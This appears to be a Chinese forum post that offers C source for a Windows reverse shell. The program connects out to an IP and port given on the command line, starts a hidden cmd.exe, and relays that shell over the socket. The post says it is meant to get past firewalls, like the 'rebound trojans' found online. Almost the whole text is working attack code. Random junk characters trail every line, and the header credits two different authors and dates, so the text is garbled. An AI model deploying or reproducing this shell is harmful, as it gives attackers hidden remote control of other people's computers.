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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?`i|" y #  
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/* ============================== ]Zv ,  
Rebound port in Windows NT =ZMF]|  
By wind,2006/7 )52#:27F  
===============================*/ )@$ &FFIu  
#include $i%HDt|  
#include m3"c (L`B  
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#pragma comment(lib,"wsock32.lib") Sj1r s#@1  
S w "|iBZ@  
void OutputShell(); D;C5,rN t  
SOCKET sClient; $Sw,hb  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T#N80BH[  
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void main(int argc,char **argv) AS q`)Rz  
{ /&6Q)   
WSADATA stWsaData; !PI0oh  
int nRet; !qS05  
SOCKADDR_IN stSaiClient,stSaiServer; +{^'i P  
B3 .X}ys#  
if(argc != 3) I1v@\Rb  
{ NYwGK|  
printf("Useage:\n\rRebound DestIP DestPort\n"); w(#:PsMo<  
return; GZ,j?@  
} )u Qvt-  
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WSAStartup(MAKEWORD(2,2),&stWsaData); i6A$1(:h  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8x gc[#  
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stSaiClient.sin_family = AF_INET; n4R]+&*  
stSaiClient.sin_port = htons(0); b<\GI 7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M;PlSb  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ks51:M  
{ 'Ye]eL,I\  
printf("Bind Socket Failed!\n"); F]0Jwm{  
return; WS5"!vz   
} ^@Y9!G=  
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stSaiServer.sin_family = AF_INET; 6ku8`WyoF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d}pGeU'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d4V 2[TX  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P 4H*jy@?  
{ `43vxcMg  
printf("Connect Error!"); uzO {{S-  
return; CP@o,v-  
} b sMC#xT  
OutputShell(); |&(H^<+Xp  
} o KlF5I  
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void OutputShell() VrudR#q  
{ E4hq}  
char szBuff[1024]; XWc|[>iO  
SECURITY_ATTRIBUTES stSecurityAttributes; 69-$Wn43<  
OSVERSIONINFO stOsversionInfo; "LXXs0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dZ-Ny_@&  
STARTUPINFO stStartupInfo; EO"=\C,  
char *szShell; Px$'(eMj^3  
PROCESS_INFORMATION stProcessInformation; :nt}7Dn'  
unsigned long lBytesRead; *:(1K%g  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 01-p `H+  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D8a)(wm  
stSecurityAttributes.lpSecurityDescriptor = 0; 5#P: "U  
stSecurityAttributes.bInheritHandle = TRUE; 2"zIR (  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [;Vi~$p|Eo  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (tTLK0V-|3  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )!BB/'DRQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KqFmFcf|  
stStartupInfo.wShowWindow = SW_HIDE; _AVy:~/  
stStartupInfo.hStdInput = hReadPipe; RLv&,$$0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rnJS[o0  
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GetVersionEx(&stOsversionInfo); IM$ 'J  
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switch(stOsversionInfo.dwPlatformId) 7jhl0  
{ T3 =)F%  
case 1: o:h)~[n|  
szShell = "command.com"; byp.V_a}/  
break; ZV0) ."^Z  
default: #cR57=M}  
szShell = "cmd.exe"; twAw01".  
break; p0"BO4({{  
} U9bFUK/z  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "tpvENz2s  
* .oi3m  
send(sClient,szMsg,77,0); \%Pma8&d  
while(1) R%Kl&c  
{ t!NrB X  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (q055y  
if(lBytesRead) k&n\ =tKN  
{ 4U_rB9K$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o-~-F+mj#  
send(sClient,szBuff,lBytesRead,0); gGF$M `  
} jc3ExOH  
else |L*6x S[  
{ T@2f&Un^  
lBytesRead=recv(sClient,szBuff,1024,0); ^Z#<tN;  
if(lBytesRead<=0) break; ]%b0[7[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @oUf}rMiDa  
} ,oy4V^B&  
} #Lu4OSM+  
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return; 1t!&xvhG  
}
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